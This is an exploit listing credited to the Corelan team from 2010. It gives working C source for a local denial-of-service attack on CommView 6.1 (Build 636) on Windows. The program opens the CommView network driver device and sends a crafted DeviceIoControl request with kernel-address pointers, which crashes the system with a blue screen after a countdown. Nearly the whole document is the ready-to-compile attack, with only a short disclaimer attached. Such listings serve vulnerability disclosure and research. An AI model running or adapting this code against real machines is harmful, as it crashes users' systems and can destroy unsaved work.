CommView 6.1 (Build 636) - Local Denial of Service (BSOD)



/*-------------------------------------------------------------------------*/

/**
# Exploit Title : CommView Version 6.1 (Build 636) Local Denial Of Service (BSOD)   
# Corelan       : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-030
# Date          : April 23rd, 2010
# Author        : p4r4N0ID (T.B)
# Bug found by  : p4r4N0ID (T.B)
# Software Link : http://www.tamos.com/download/main/
# Version       : Version 6.1 (Build 636)
# OS            : Windows
# Tested on     : Windows XP sp2 En (VMWARE)
# Type of vuln  : DoS
# Greetz to     : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes.
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.  
# If you do, Corelan cannot be held responsible for any damages this may cause.
#
#
**/
/*--------------------------------------------------------------------------*/

#include <windows.h>
#include <stdio.h>


VOID ShowError()
{
 LPVOID lpMsgBuf;
 FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER| FORMAT_MESSAGE_FROM_SYSTEM,
               NULL,
               GetLastError(),
               MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
               (LPTSTR) &lpMsgBuf,
               0,
               NULL);
 MessageBoxA(0,(LPTSTR)lpMsgBuf,"Error",0);
 exit(1);
}


int __cdecl main( int argc , char * argv[])
{
    HANDLE        hDevice;
    DWORD       junk;
    int i = 10;

    system("cls");    
    printf ("|------------------------------------------------------------------|");
    printf ("|                         __               __                      |");
    printf ("|   _________  ________  / /___ _____     / /____  ____ _____ ___  |");
    printf ("|  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |");
    printf ("| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |");
    printf ("| \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |");
    printf ("|                                                                  |");
    printf ("|                                       http://www.corelan.be:8800 |");
    printf ("|                                              security@corelan.be |");
    printf ("|                                                                  |");
    printf ("|-------------------------------------------------[ EIP Hunters ]--|");
    printf ("[+] CommView Local Denial Of Service (BSOD) - by p4r4N0ID(T.B)");


    //CHANGE the GUID so it match your device name
    //find it in:  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{GUID}
    
    hDevice = CreateFileA("\\\\.\\CV2K_{916BB164-6D0D-45C0-B6C2-79B42A522C17}",
                           0,
                           FILE_SHARE_READ | FILE_SHARE_WRITE,
                           NULL,
                           OPEN_EXISTING,
                           0,
                           NULL);


    if (hDevice == INVALID_HANDLE_VALUE)
    {
           ShowError();
           return EXIT_FAILURE;
    }


    printf("\n\n\t\t[!] Started Countdown");

    for(i;i>=1;i--)
    {
        printf("\r -[ %d ]- ",i);

        if(i==1) printf("\n[+] Bye Bye, BOOM!!!");
        Sleep(1000);
    } 

    DeviceIoControl(hDevice, 
                    0x00002578, 
                    (LPVOID) 0x80000001,
                    0,
                    (LPVOID) 0x80000002,
                    0,
                    &junk,  
                    (LPOVERLAPPED)NULL);


    return EXIT_SUCCESS;


}